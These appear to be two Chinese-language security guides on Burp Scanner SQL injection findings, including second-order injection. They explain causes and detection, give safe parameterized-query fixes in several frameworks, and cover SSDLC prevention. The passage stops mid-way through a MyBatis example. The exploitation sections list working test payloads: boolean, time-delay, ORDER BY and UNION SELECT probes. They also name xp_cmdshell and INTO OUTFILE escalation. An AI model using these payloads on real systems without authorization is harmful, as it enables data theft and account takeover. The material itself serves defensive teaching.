[Burp Scanner Issue] 003 二階 SQL 注入(Second-Order SQL Injection)完整解析:成因、風險與修補指南

SQL 注入是老生常談的漏洞,但「二階 SQL 注入」(Second-Order SQL Injection,有時也稱為 Stored SQL Injection)卻是許多開發團隊最容易漏掉的變種。它不在輸入的當下爆炸,而是安靜地潛伏在資料庫裡,等到另一個功能把這筆資料撈出來重新組 SQL 時,才悄悄引爆。

這種延遲觸發的特性,讓它在開發過程中特別難被察覺——前端驗證通過了、寫入時也沒報錯、日誌也看不出異常,直到某個看似無關的功能成為攻擊的出口。Burp Scanner 將此漏洞列為 High 等級,CWE 對應到 SQL 命令的特殊元素處理不當(CWE-89)。對任何有使用者帳號、個人設定或資料儲存功能的系統而言,這都是一個不能輕忽的攻擊面。


一、這是什麼漏洞?

白話說明

一般的 SQL 注入(First-Order SQL Injection)是:使用者輸入惡意字串 → 系統直接把這段字串拼進 SQL → 資料庫執行惡意指令。

二階 SQL 注入的流程則不一樣:

  1. 第一步(儲存):使用者提交的惡意資料,在這個階段可能被「正確地」轉義或驗證,然後寫進資料庫,表面上看起來安全。
  2. 第二步(觸發):應用程式日後執行某個功能,從資料庫把這筆資料讀出來,然後「再次組合進另一條 SQL 查詢」時,沒有再做一次安全處理,導致注入發生。

舉個實際例子:

使用者在註冊時把帳號設為 <code>admin'–</code>。系統在存入資料庫時有做跳脫(escape),寫進去的值是 <code>admin''–</code>,看起來安全。但是當使用者修改密碼時,系統執行了這樣的查詢:

-- 危險的動態 SQL 組合,username 直接從資料庫撈出後拼接
UPDATE users SET password = 'newpass' WHERE username = 'admin'--'

這時候,原本存在資料庫的值被讀出來、直接拼進 SQL,造成注入。<code>–</code> 讓後面的條件被註解掉,攻擊者可能成功修改所有帳號的密碼,而非只有自己的帳號。

與一般 SQL 注入的差異

特性 一階 SQL 注入 二階 SQL 注入
觸發時機 輸入當下 資料被二次使用時
偵測難度 相對容易 較難,需跨功能追蹤
單一輸入點掃描 通常有效 可能漏掉
儲存在資料庫

二、Burp Scanner 為什麼會報這個問題?

偵測邏輯

二階 SQL 注入的偵測本質上比一般 SQL 注入困難,因為注入點(輸入)與觸發點(SQL 執行)分屬不同的請求與功能流程。Burp Scanner 偵測此類問題時,主要採用主動掃描(Active Scan)搭配跨功能的探針策略:

  1. 探針植入:在可能被儲存的輸入欄位(例如帳號名稱、個人簡介、地址、備註欄)植入特殊探針字串,這些字串設計成能在資料被二次讀取後觸發可觀察的行為差異(例如時間延遲、錯誤回應、特定輸出)。
  2. 後續觸發觀察:Burp 接著爬取並觸發其他會讀取這些資料的功能(例如個人資料頁、後台搜尋、報表生成),觀察是否出現與注入相關的異常回應。
  3. 差異比對:透過比對基準行為與注入後行為的差異,判斷是否存在可利用的注入點。

主動 vs. 被動掃描

這個問題主要透過主動掃描才能偵測到。被動掃描因為不主動送出探針,通常無法識別二階注入。這也表示,若掃描範圍或爬蟲設定不完整,部分二階注入可能不會被掃描器標記出來。

重要提醒

Burp Scanner 回報此問題,不等於該漏洞可以被穩定利用。 掃描器偵測到的是「疑似行為差異」,實際的可利用性取決於:

  • 注入點的位置與上下文
  • 資料庫類型與版本
  • 應用程式的錯誤處理是否對外揭露資訊
  • 背後的查詢結構

所有掃描結果都需要人工驗證,才能確認是真實漏洞還是誤報(False Positive)。


三、可能造成的風險與影響

二階 SQL 注入的風險等級為 High,實際影響視資料庫權限與應用程式邏輯而定,常見的危害包括:

機密性(Confidentiality)

攻擊者可能透過注入的 <code>UNION SELECT</code> 或子查詢,讀取資料庫中的敏感資料,例如使用者密碼雜湊(hash)、電子郵件、個資、API 金鑰,甚至跨資料表讀取原本無權限存取的資訊。

完整性(Integrity)

惡意 SQL 可以修改資料庫內容,例如竄改帳號密碼、修改訂單金額、插入虛假記錄,或刪除關鍵業務資料。

身份驗證繞過與權限提升

如同前述的密碼修改範例,攻擊者可能利用二階注入,在不知道原始密碼的情況下修改管理員帳號密碼,進而取得高權限存取。

橫向移動與資料庫伺服器控制

在資料庫帳號具備高權限(例如 <code>db_owner</code> 或 <code>sa</code>)的情況下,攻擊者可能進一步執行 <code>xp_cmdshell</code>(MSSQL)或 <code>LOAD_FILE</code> / <code>INTO OUTFILE</code>(MySQL),達成遠端指令執行或檔案讀寫。

為什麼不能因為「難以利用」而忽略?

二階 SQL 注入的利用條件確實比一般注入稍多,但這不是輕忽的理由。攻擊者通常有充裕的時間與精力研究應用程式流程;一旦找到觸發路徑,影響可能非常嚴重,且整個攻擊過程難以從日誌中一眼識別,增加了事後調查的難度。


四、常見成因

以下幾個開發與部署錯誤,是二階 SQL 注入最常見的根源:

1. 「存進去有做跳脫,讀出來就信任」的錯誤假設
最典型的成因。開發者在寫入資料庫時有做 <code>escape()</code> 或 <code>htmlspecialchars()</code>,然後誤以為這筆資料「已經安全了」,在後續讀出並重新組 SQL 時,沒有再次套用參數化查詢,直接用字串拼接。

2. 不一致的查詢寫法
專案中部分函式使用了 Prepared Statement,但某些舊模組、工具函式或報表查詢仍然使用字串拼接(例如 <code>"SELECT * FROM orders WHERE user = '" + username + "'"</code>),形成安全漏洞。

3. 中介層或 ORM 框架的原始查詢(Raw Query)未妥善處理
使用 ORM(例如 Sequelize、SQLAlchemy、Hibernate)的專案,若為了效能或特殊需求使用了 Raw SQL 或 <code>query()</code> 方法,但仍以字串插值方式傳入變數,等同於放棄了 ORM 的注入防護。

4. 日誌、通知、報表等「次要功能」疏於審查
主流程(登入、搜尋)通常受到較嚴格的審查,但「寄送通知信用到使用者資料」、「後台報表撈取使用者名稱」等次要功能,常在 Code Review 時被跳過,成為二階注入的溫床。

5. 多語言或多模組系統的邊界問題
當一個系統由 Python 後端寫入、Node.js API 讀取,或有多個微服務共用資料庫時,不同模組對「資料信任程度」的假設不一,容易造成某個服務讀出資料後直接用於 SQL 而未防護。

6. 測試資料或管理帳號的特殊字元未清理
開發或測試時,工程師可能建立帳號名稱帶有特殊字元(例如 <code>test'admin</code>)的測試資料,這些資料留存到正式環境後,若有功能把帳號名稱組進 SQL,就可能成為觸發條件。


五、攻擊者可能怎麼利用?

攻擊思路

攻擊者利用二階 SQL 注入的流程,通常如下:

  1. 偵察應用程式流程:找出哪些功能會「儲存使用者可控的資料」,以及哪些功能後續會「讀取並處理這些資料」。
  2. 植入惡意 Payload:在儲存階段提交精心設計的字串,讓它看起來無害(通過基本驗證),但包含 SQL 特殊字元。
  3. 觸發二次查詢:操作應用程式執行讀取並使用該資料的功能,觸發 SQL 注入。
  4. 觀察回應差異:根據錯誤訊息、行為差異、時間延遲來確認注入成立,進而調整 payload 擴大攻擊。

常見測試 Payload 範例

以下 payload 適合在滲透測試授權範圍內使用,用於驗證是否存在二階 SQL 注入:

字串跳脫測試(Boolean-based)

' OR '1'='1
admin'--
' OR 1=1--

時間延遲測試(Time-based Blind,適合無回顯情境)

  • MySQL:
    '; SELECT SLEEP(5);--
  • MSSQL:
    '; WAITFOR DELAY '0:0:5';--
  • PostgreSQL:
    '; SELECT pg_sleep(5);--

實際測試步驟建議

  1. 找到可儲存使用者資料的功能,例如:帳號名稱、個人簡介、地址欄位、標籤名稱。
  2. 在該欄位輸入含有單引號或 SQL 關鍵字的測試字串(例如 <code>test'</code>)並儲存。
  3. 操作會讀取並使用該資料的功能(例如:修改密碼、查看個人頁面、搜尋自己的訂單)。
  4. 觀察是否出現資料庫錯誤訊息、異常回應、內容變化,或在時間延遲測試中出現明顯的回應時間差異。
  5. 若確認注入成立,嘗試 <code>UNION SELECT</code> 確認是否可讀取其他資料表(需在授權範圍內進行)。

六、開發與維運團隊該怎麼修補?

6.1 短期補救措施

  • 立即審查已知的「先儲存、後讀取再組 SQL」流程,重點包含:帳號設定、個人資料更新、通知/郵件產生、後台搜尋與報表。
  • 暫時強化輸入驗證:對使用者可設定的字串欄位加入嚴格的白名單驗證,拒絕含有 <code>'</code>、<code>"</code>、<code>–</code>、<code>;</code>、<code>/*</code>、<code>*/</code> 等 SQL 特殊字元的輸入(此為緩解,非根治)。
  • 關閉或限制錯誤訊息對外輸出,避免攻擊者從 SQL 錯誤訊息中取得資料庫結構資訊。

6.2 正確修補方式

核心原則:所有組入 SQL 的變數,無論資料來源為何(包含從資料庫讀出的值),一律使用參數化查詢(Parameterized Query / Prepared Statement)。

Python(使用 psycopg2 for PostgreSQL)

# ❌ 危險寫法:從資料庫讀出 username 後直接拼接
cursor.execute(f"UPDATE users SET password = '{new_password}' WHERE username = '{username}'")

# ✅ 安全寫法:使用參數化查詢
cursor.execute(
    "UPDATE users SET password = %s WHERE username = %s",
    (new_password, username)
)

Node.js(使用 mysql2)

// ❌ 危險寫法
const query = <code>UPDATE users SET password = '${newPassword}' WHERE username = '${username}'</code>;
connection.query(query);

// ✅ 安全寫法:使用 ? 佔位符
connection.query(
  'UPDATE users SET password = ? WHERE username = ?',
  [newPassword, username],
  (err, results) => { /* ... */ }
);

Node.js(使用 Sequelize ORM 的 Raw Query)

// ❌ 危險寫法:Raw SQL 字串插值
await sequelize.query(<code>SELECT * FROM orders WHERE user = '${username}'</code>);

// ✅ 安全寫法:使用 replacements
await sequelize.query(
  'SELECT * FROM orders WHERE user = :username',
  { replacements: { username: username } }
);

關鍵心態轉換:不要問「這個值是不是已經安全了?」,而要問「這個值有沒有透過參數化查詢傳入 SQL?」後者才是正確的判斷標準。

6.3 長期預防建議

  • 建立全專案的 SQL 查詢規範:禁止字串拼接組 SQL,列入 Code Review Checklist 與靜態分析規則(例如使用 Semgrep 的 SQL injection 規則集)。
  • ORM 框架層級的強制約束:若使用 ORM,盡量避免 Raw Query;若確實需要,建立內部 wrapper 強制傳入參數而非字串。
  • 資料庫帳號最小權限原則:應用程式使用的資料庫帳號,只給予執行業務邏輯所需的最低權限,避免 <code>DROP TABLE</code>、<code>xp_cmdshell</code> 等高危操作可被觸發。
  • 導入 SAST 工具於 CI/CD Pipeline:在每次 Pull Request 或 merge 時,自動掃描是否引入了字串拼接的 SQL 寫法。
  • 定期的安全測試:在每個 Sprint 或 Release 前,對有儲存使用者資料的功能進行手動安全驗證。

七、如何驗證是否修好?

Burp Re-scan

修補完成後,使用 Burp Suite 對相同的功能重新執行主動掃描。若先前標記的問題不再出現,可作為一項參考依據,但不應作為唯一的驗證方式。

手動驗證重點

  1. 在儲存欄位輸入測試 payload(例如 <code>admin'–</code> 或 <code>'; SELECT SLEEP(3);–</code>)並儲存。
  2. 手動操作會觸發二次查詢的功能,確認:
    • 沒有出現資料庫錯誤訊息
    • 沒有異常的回應延遲(排除時間延遲注入)
    • 系統行為符合預期,不影響其他帳號或資料
  3. 確認 payload 的內容被當作純資料處理,而非 SQL 指令的一部分。

程式碼層級驗證

  • Code Review:確認所有從資料庫讀出的值在組合 SQL 時,都有使用 Prepared Statement 或 Parameterized Query。
  • 搜尋 codebase 中的字串拼接模式:
    # 簡易 grep 範例,尋找可疑的 SQL 組合
    grep -rn "execute(f\"" .
    grep -rn "execute(\"SELECT.*+\|\"UPDATE.*+\|\"INSERT.*+" .
  • 使用 SAST 工具(例如 Semgrep、Bandit for Python、NodeJsScan)執行全局掃描。

日誌觀察

啟用資料庫層級的慢查詢日誌(Slow Query Log)與錯誤日誌,觀察修補後是否仍有異常 SQL 錯誤或超時查詢出現。

單元測試 / 整合測試

撰寫測試案例,模擬使用者輸入含有 SQL 特殊字元的資料,並驗證後續使用該資料的功能不會產生 SQL 錯誤,且行為正確。

# 範例:Python unittest
def test_username_with_sql_injection_payload(self):
    # 建立帶有惡意 payload 的帳號
    self.create_user(username="admin'--")
    # 呼叫觸發二次查詢的功能
    result = self.change_password(username="admin'--", new_password="safe_pass")
    # 確認只有目標帳號被修改,且沒有引發錯誤
    self.assertEqual(result['status'], 'success')
    self.assert_only_one_user_affected()

八、從 SSDLC 角度,應該在哪個階段攔下來?

Requirements(需求階段)

在需求分析階段,應明確定義「所有使用者輸入的資料,即使已儲存至資料庫,在後續重新組合 SQL 時仍必須透過參數化查詢處理」為安全需求。這條規範應納入開發規格,而非留到測試階段才發現。

Design(設計階段)

設計資料庫存取層(DAL, Data Access Layer)或 Repository Pattern 時,應強制規定所有查詢方法必須接受參數化輸入,禁止提供字串直接拼接的接口。資料模型(Model)設計時,也應考慮哪些欄位可能被讀出後重新用於查詢,對這類欄位進行特別標記或設計約束。

Implementation(開發階段)

這是最關鍵的防線。 開發者應遵循統一的 SQL 查詢規範,所有 DB 存取一律使用 Prepared Statement 或 ORM 的安全介面,並在 Code Review 時明確檢查這一點。可在 IDE 或 Linter 層級加入規則,提示字串拼接的 SQL 寫法。

Verification(驗證階段)

安全測試(DAST/SAST)應在這個階段執行。SAST 工具可掃描字串拼接的 SQL 寫法;DAST(例如 Burp Suite)的主動掃描可嘗試偵測二階注入行為。Penetration Testing 也應包含「跨功能二階注入測試」的場景。此階段是發現遺漏的最後機會。

Deployment(部署階段)

部署時應確認:資料庫連線帳號使用最小權限;生產環境關閉詳細的 SQL 錯誤回傳;確認環境設定不殘留開發期間的測試資料(可能含有惡意 payload)。

Operations(維運階段)

定期執行安全掃描,監控資料庫異常存取行為(例如 <code>UNION SELECT</code>、<code>SLEEP()</code>、<code>xp_cmdshell</code> 等出現在查詢日誌中)。建立漏洞回報與修補流程,確保二階注入一旦在生產環境被發現,能夠快速回應。

最容易被發現與預防的階段

階段 效果
Implementation ⭐⭐⭐ 最佳預防點,從根源阻止
Design ⭐⭐⭐ 架構層面強制防護
Verification ⭐⭐ 最常發現的階段(DAST/滲透測試)
Operations ⭐ 最晚發現,修補代價最高

九、這個漏洞常見的誤解

誤解一:「我寫入資料庫時有做跳脫,這筆資料就是安全的了」

跳脫(Escaping)是針對「目前這次操作的 SQL 上下文」所做的處理,一旦資料被寫入資料庫,跳脫的效果就結束了。下次把這筆資料讀出來並重新組 SQL 時,就是一次全新的信任邊界,必須再次套用安全的查詢方式。跳脫≠永久安全,參數化查詢才是正解。

誤解二:「我用 Stored Procedure 就不會有 SQL 注入」

儲存程序(Stored Procedure)本身不能保證安全。如果 Stored Procedure 內部使用了動態 SQL(例如 MSSQL 的 <code>EXEC(@sql)</code>),且 <code>@sql</code> 是由外部輸入拼接而成,注入一樣可以發生。同樣地,即使 Stored Procedure 內部是安全的,若呼叫它的方式是以字串拼接使用者資料作為參數,問題一樣存在。

誤解三:「Burp 掃到了但我手動測了沒問題,就當誤報跳過」

二階 SQL 注入的觸發路徑可能需要特定的使用者流程或資料條件,單次手動測試不一定能重現。建議根據 Burp 的標記,仔細追蹤「資料從哪裡存入」、「在哪些功能被讀出並重新用於 SQL」,再做針對性的驗證,而非直接標記為誤報。

誤解四:「我的系統有 WAF,注入的 payload 會被擋掉」

WAF(Web Application Firewall)是有效的防禦層之一,但不應作為唯一防線。針對二階注入,攻擊者可能將惡意 payload 分散、編碼,或利用 WAF 對「資料庫內部讀取操作」無能為力的特性,繞過防護。真正的修補是在程式碼層面使用參數化查詢,WAF 只是輔助。


十、重點整理

  • 二階 SQL 注入的核心風險在於惡意資料「先存後發」,在另一個功能被讀出並重新組 SQL 時才觸發,傳統的輸入點防護容易遺漏這類攻擊路徑。
  • 唯一可靠的根治方式是參數化查詢(Prepared Statement),且必須對所有組入 SQL 的值一律套用,不論資料來源是使用者輸入還是從資料庫讀出的值。
  • 跳脫(Escape)、Stored Procedure、WAF 均不能單獨作為防護手段,它們可以作為縱深防禦的一部分,但不能取代參數化查詢。
  • Burp Scanner 標記此問題後,需要人工驗證觸發路徑,追蹤資料的「儲存點」與「二次使用點」,才能確認是否為真實可利用的漏洞。
  • 在 SSDLC 中,最有效的預防在 Design 與 Implementation 階段;透過架構設計強制安全查詢模式、Code Review 明確檢查,比事後掃描補救的代價低得多。

十一、參考對照

項目 內容
Burp Scanner Issue Name SQL injection (second order)
Severity High
Type Index (Hex) <code>0x00100210</code>
Type Index (Dec) <code>1049104</code>
CWE CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
CWE-94: Improper Control of Generation of Code (‘Code Injection’)
CWE-116: Improper Encoding or Escaping of Output
CAPEC CAPEC-66: SQL Injection
參考資源 PortSwigger Web Security Academy: SQL injection

[Burp Scanner Issue] 002 SQL Injection 完整指南:原理、風險、修補與 SSDLC 預防策略

SQL Injection 是一種攻擊者透過操控應用程式的資料庫查詢語句,藉以讀取、竄改、甚至刪除資料的漏洞。它成因單純——使用者輸入未經安全處理就被拼接進 SQL 查詢——但後果嚴重,輕則資料外洩,重則整個資料庫淪陷。Burp Scanner 會透過主動注入偵測回應異常來識別此類漏洞。本文帶你從原理到修補、從單次掃描到長期 SSDLC 流程整合,一次掌握 SQL Injection 的防禦全貌。


SQL Injection 是資安圈討論超過二十年、卻仍年年名列 OWASP Top 10 的漏洞。它的成因直白得讓人驚訝:把使用者輸入不加處理地拼進 SQL 查詢字串,就可能讓攻擊者注入自己的查詢邏輯。然而,正是這種「看起來很簡單」的特性,讓它長期存在於各類系統中,也讓許多高知名度的資料外洩事件因此發生。

從小型電商到大型金融機構,SQL Injection 造成的損失往往不只是當下的資料外洩,更包含事後的客戶信任崩潰、監管罰款、以及長達數月的事件調查成本。更麻煩的是,許多組織在遭受攻擊後數個月甚至數年才察覺,這期間資料早已遭竊售出或加密勒索。了解 SQLi 不只是資安工程師的必修課,更是每一位開發者在撰寫資料庫互動程式碼時都需要具備的基本認知。


一、這是什麼漏洞?

SQL Injection,縮寫 SQLi,是指攻擊者透過操控應用程式傳送給資料庫的 SQL 查詢語句,進而讀取、竄改、插入或刪除資料庫中的資料。

本質上,這是一種輸入未被適當區隔的問題:應用程式把使用者可控的資料當作 SQL 指令的一部分來執行,而非單純的資料值。攻擊者只需在輸入欄位中插入特殊字元(如單引號 <code>'</code>、<code>–</code> 註解符號、<code>OR 1=1</code> 等邏輯片段),就能打破原本查詢的語法結構,注入自己的查詢邏輯。

與相近漏洞的差異:

漏洞 注入目標 典型影響
SQL Injection 關聯式資料庫查詢(SQL) 資料外洩、竄改、繞過驗證
NoSQL Injection MongoDB、Redis 等 NoSQL 查詢 類似,但語法不同
Command Injection 作業系統 Shell 命令 RCE、系統控制
LDAP Injection LDAP 目錄查詢 身分驗證繞過、資訊洩漏
Second-order SQLi 資料先寫入再讀出時觸發 更隱蔽,掃描器較難偵測

Second-order SQL Injection 值得特別注意:資料在初次儲存時可能已做跳脫處理,但在後續被讀取並重新代入 SQL 查詢時,跳脫的單引號會還原成原始形式,導致注入仍然成功。這是許多開發者容易忽略的死角。


二、Burp Scanner 為什麼會報這個問題?

Burp Scanner 偵測 SQL Injection 主要仰賴主動掃描(Active Scanning),它會在應用程式的各個輸入點(URL 參數、POST body、Cookie、HTTP Header 等)注入一系列精心設計的 payload,並觀察應用程式的回應是否出現異常行為。

Burp 常用的偵測策略包含:

  • 布林型條件注入(Boolean-based):注入 <code>' AND 1=1–</code> 與 <code>' AND 1=2–</code>,比對兩者的回應差異,若不同則推斷存在條件式查詢行為。
  • 時間延遲注入(Time-based):注入 <code>'; WAITFOR DELAY '0:0:5'–</code>(MSSQL)或 <code>'; SELECT SLEEP(5)–</code>(MySQL),若回應時間明顯增加,代表查詢被執行。
  • 錯誤型注入(Error-based):注入單引號或特殊語法,觀察是否觸發資料庫錯誤訊息(如 <code>ORA-00933</code>、<code>You have an error in your SQL syntax</code>)。
  • Out-of-band 偵測:在支援的環境中,注入觸發 DNS 查詢或 HTTP 請求的 payload,透過 Burp Collaborator 接收外部回呼。

Burp Scanner 屬於主動掃描,掃描過程會對目標系統發送大量異常請求,不應在未獲授權的生產環境中執行

重要提醒:掃描器報出 SQL Injection 並不代表漏洞一定可以穩定利用。有時應用程式的行為差異可能源自其他邏輯,而非真正的 SQL 注入;也有些情況下,漏洞確實存在但因防火牆攔截或環境限制而無法直接利用。掃描結果應視為「需要人工驗證的線索」,而非可直接引用的確認事實。


三、可能造成的風險與影響

SQL Injection 的影響範圍極廣,依攻擊者的目的與資料庫權限設定,可能造成以下後果:

機密性(Confidentiality)
攻擊者可透過 <code>UNION</code> 查詢或子查詢,提取資料庫中任意資料表的內容,包含使用者帳號、密碼雜湊值、個人資料、信用卡號、API 金鑰等敏感資訊。以常見攻擊手法為例,一個存在注入的搜尋欄位,可能讓攻擊者在幾分鐘內取得整個 <code>users</code> 資料表的內容。

完整性(Integrity)
攻擊者不只能讀,還能寫:插入假資料、竄改現有記錄、刪除關鍵日誌,甚至修改使用者的權限等級。

可用性(Availability)
大量的資源消耗查詢、<code>DROP TABLE</code> 等破壞性操作,可導致服務中斷。

身分驗證繞過
經典的 <code>' OR '1'='1</code> 注入可讓攻擊者在不知道密碼的情況下登入系統,直接取得帳戶存取權。

權限提升與橫向移動
若資料庫帳號擁有過高權限,攻擊者可能透過 <code>xp_cmdshell</code>(MSSQL)執行作業系統命令,從資料庫跳躍到主機控制,進一步進行橫向移動。

合規與法律風險
個資外洩在 GDPR、PDPA 等法規下可能面臨高額罰款,以及強制通報義務。


四、常見成因

1. 字串拼接 SQL 查詢
最常見的根本成因。開發者直接用 <code>+</code> 或 <code class="kb-btn">${}</code> 將使用者輸入插入 SQL 字串,例如:

query = "SELECT * FROM users WHERE username = '" + username + "'"

只要 <code>username</code> 含有單引號,查詢結構立即被破壞。

2. 依賴「跳脫特殊字元」做為唯一防線
對輸入值進行單引號轉義(如 <code>\'</code>)或雙倍引號(<code>''</code>)是不完整的防禦,在數字型參數、Second-order 注入、或寬字元編碼情境下仍可能被繞過。

3. 儲存程序(Stored Procedure)中的動態 SQL
誤認為「用了 stored procedure 就安全」。若 stored procedure 內部仍使用動態字串組合 SQL(如 <code>EXEC(@sql)</code>),同樣存在 SQLi 風險。

4. ORM 的原始查詢介面(Raw Query)被誤用
使用 Sequelize、SQLAlchemy、Hibernate 等 ORM 框架時,若開發者為了靈活性而改用 <code>raw()</code>、<code>execute()</code>、<code>nativeQuery()</code> 並拼接輸入,等同於繞過 ORM 的保護機制。

5. 錯誤訊息直接回傳給使用者
資料庫錯誤訊息(如 table 名稱、欄位名稱、SQL 語法提示)被直接回傳給前端,讓攻擊者得以快速進行錯誤型注入偵測與枚舉。

6. 測試環境的 debug 模式殘留到正式環境
開發時啟用詳細錯誤輸出,上線時忘記關閉,導致生產環境同樣暴露資料庫結構資訊。


五、攻擊者可能怎麼利用?

典型攻擊流程:

  1. 偵測注入點:攻擊者在輸入欄位(URL 參數、登入表單、搜尋框)注入單引號 <code>'</code> 或 <code>''</code>,觀察是否觸發錯誤或行為異常。
  2. 確認資料庫類型:透過特定函式(如 <code>@@version</code>、<code>version()</code>、<code>v$version</code>)判斷後端是 MySQL、MSSQL、PostgreSQL 還是 Oracle,以選擇對應語法。
  3. 枚舉資料庫結構:利用 <code>information_schema.tables</code> 取得所有資料表名稱,再用 <code>information_schema.columns</code> 取得欄位清單。
  4. 提取資料:透過 <code>UNION SELECT</code> 或布林盲注逐步取出資料。

常用偵測 Payload(供測試與驗證使用):

# 觸發錯誤型偵測
'
''
' OR 1=1--
' OR 'a'='a

# 布林型盲注
' AND 1=1--   (應正常回應)
' AND 1=2--   (若行為不同則有漏洞)

# 時間型盲注(MySQL)
' AND SLEEP(5)--

# 時間型盲注(MSSQL)
'; WAITFOR DELAY '0:0:5'--

# UNION 探測欄位數
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   (直到出錯,判斷欄位數)

# 提取資料庫版本(MySQL)
' UNION SELECT NULL, version()--

建議使用 Burp Suite 的 Repeater 手動驗證,逐一調整 payload 觀察回應差異,而非單純依賴掃描器結果。自動化工具如 <code>sqlmap</code> 可用於驗證,但務必在已獲授權的測試環境中執行。


六、開發與維運團隊該怎麼修補?

6.1 短期補救措施

  • 確認觸發 SQLi 的具體輸入點,立即停用或加入 WAF 規則進行暫時性封鎖。
  • 若有啟用詳細資料庫錯誤輸出,立即關閉並改為通用錯誤訊息(如「發生錯誤,請稍後再試」)。
  • 稽核資料庫帳號權限,確保應用程式使用的帳號符合最小權限原則(僅能 SELECT/INSERT/UPDATE,不應有 DROP、CREATE、EXEC xp_cmdshell 等高危權限)。
  • 盡快通知資安主管,評估是否已有資料外洩跡象,必要時保留日誌備查。

6.2 正確修補方式

最根本、最有效的修補方法是使用參數化查詢(Parameterized Query / Prepared Statement),讓 SQL 語句的結構與資料分離。


Python 基礎寫法(psycopg2)

# ❌ 危險寫法(字串拼接)
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)

# ✅ 安全寫法(參數化查詢)
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))

Node.js 基礎寫法(mysql2)

// ❌ 危險寫法
const query = <code class="kb-btn">SELECT * FROM users WHERE id = ${userId}</code>;
connection.query(query);

// ✅ 安全寫法
const query = "SELECT * FROM users WHERE id = ?";
connection.query(query, [userId]);

Django ORM(Python)

Django 的 ORM 預設使用參數化查詢,只要透過標準 QuerySet API 操作,就具備基本保護。問題通常出在開發者改用 <code>raw()</code> 或 <code>extra()</code> 時。

# ❌ 危險:raw() 搭配字串格式化
def get_user_by_name(username):
    return User.objects.raw(
        f"SELECT * FROM auth_user WHERE username = '{username}'"
    )

# ✅ 安全:raw() 搭配參數佔位符
def get_user_by_name(username):
    return User.objects.raw(
        "SELECT * FROM auth_user WHERE username = %s",
        [username]  # 以 list 傳入參數,Django 自動處理跳脫
    )

# ✅ 最佳實務:直接用 QuerySet API(完全由 ORM 處理)
def get_user_by_name(username):
    return User.objects.filter(username=username).first()
# ❌ 危險:使用 extra() 拼接 WHERE 條件
def search_products(keyword):
    return Product.objects.extra(
        where=[f"name = '{keyword}'"]
    )

# ✅ 安全:使用 extra() 的 params 參數
def search_products(keyword):
    return Product.objects.extra(
        where=["name = %s"],
        params=[keyword]
    )

# ✅ 最佳實務:改用 filter() 與 Q 物件
from django.db.models import Q

def search_products(keyword):
    return Product.objects.filter(
        Q(name__icontains=keyword) | Q(description__icontains=keyword)
    )
# ❌ 危險:直接執行原始 SQL(connection.execute 拼接)
from django.db import connection

def get_order(order_id):
    with connection.cursor() as cursor:
        cursor.execute(
            "SELECT * FROM orders WHERE id = " + str(order_id)
        )
        return cursor.fetchone()

# ✅ 安全:使用佔位符
def get_order(order_id):
    with connection.cursor() as cursor:
        cursor.execute(
            "SELECT * FROM orders WHERE id = %s",
            [order_id]  # 永遠用 list 或 tuple 傳參數
        )
        return cursor.fetchone()
# ✅ RawSQL 安全用法(annotate 進階查詢)
from django.db.models.expressions import RawSQL

Product.objects.annotate(
    custom_rank=RawSQL(
        "SELECT COUNT(*) FROM reviews WHERE product_id = %s",
        (product_id,)
    )
)

Django 黃金法則:<code>__icontains</code>、<code>__startswith</code> 等 lookup 均已內建參數化保護,直接使用即可。需要彈性查詢時優先選擇 <code>Q</code> 物件與 Criteria API,避免繞回 raw SQL。


Spring Data JPA / Hibernate(Java)

Spring 生態系中,SQLi 最常出現在 JPQL 動態查詢、Native Query 或 Criteria API 被誤用的情境。

// ❌ 危險:JPQL 字串拼接
public List<User> findByUsername(String username) {
    String jpql = "SELECT u FROM User u WHERE u.username = '" + username + "'";
    return entityManager.createQuery(jpql, User.class).getResultList();
}

// ✅ 安全:使用具名參數(Named Parameter)
public List<User> findByUsername(String username) {
    String jpql = "SELECT u FROM User u WHERE u.username = :username";
    return entityManager.createQuery(jpql, User.class)
        .setParameter("username", username)
        .getResultList();
}
// ❌ 危險:Native Query 字串拼接
@Query(value = "SELECT * FROM users WHERE role = '" + role + "'", nativeQuery = true)
List<User> findByRole(String role);

// ✅ 安全:Native Query 使用具名參數
@Query(
    value = "SELECT * FROM users WHERE role = :role",
    nativeQuery = true
)
List<User> findByRole(@Param("role") String role);
// ✅ 最佳實務:Spring Data JPA 方法命名查詢(全自動參數化)
public interface UserRepository extends JpaRepository<User, Long> {
    // Spring 自動產生參數化查詢,無需自行撰寫 SQL
    List<User> findByUsernameAndStatus(String username, String status);
    Optional<User> findByEmail(String email);
}
// ✅ Criteria API 安全用法(適合動態條件查詢)
public List<Product> searchProducts(String keyword, BigDecimal maxPrice) {
    CriteriaBuilder cb = entityManager.getCriteriaBuilder();
    CriteriaQuery<Product> query = cb.createQuery(Product.class);
    Root<Product> root = query.from(Product.class);

    List<Predicate> predicates = new ArrayList<>();

    if (keyword != null && !keyword.isEmpty()) {
        // cb.like() 內部使用參數化查詢,安全
        predicates.add(cb.like(root.get("name"), "%" + keyword + "%"));
    }
    if (maxPrice != null) {
        predicates.add(cb.lessThanOrEqualTo(root.get("price"), maxPrice));
    }

    query.where(predicates.toArray(new Predicate[0]));
    return entityManager.createQuery(query).getResultList();
}
// ✅ JdbcTemplate 安全用法
public User findById(Long id) {
    String sql = "SELECT * FROM users WHERE id = ?";
    return jdbcTemplate.queryForObject(sql, new UserRowMapper(), id);
    // 第三個參數之後為可變參數,依序對應 SQL 中的 ? 佔位符
}

Spring JPA 特別注意事項:

  • <code>@Query</code> 中若使用 <code>nativeQuery = true</code>,必須搭配 <code>@Param</code> 具名參數,不可字串拼接。
  • 使用 <code>EntityManager.createNativeQuery()</code> 時,務必呼叫 <code>.setParameter()</code> 而非拼接字串。
  • Spring JDBC Template 的 <code>jdbcTemplate.query()</code> 支援 <code>?</code> 佔位符,同樣安全;避免使用 <code>String.format()</code> 或字串加法組合 SQL。

MyBatis(Java)

MyBatis 在台灣企業仍廣泛使用,其 <code class="kb-btn">${}</code> 與 <code class="kb-btn">#{}</code> 的差異是常見的安全知識盲點:

<!-- ❌ 危險:${} 直接插入字串,不做任何處理 -->
<select id="findByUsername" resultType="User">
    SELECT * FROM users WHERE username = '${username}'
</select>

<!-- ✅ 安全:#{} 使用 PreparedStatement 參數化 -->
<select id="findByUsername" resultType="User">
    SELECT * FROM users WHERE username = #{username}
</select>
<!-- ⚠️ 特殊情境:ORDER BY 動態欄位名稱
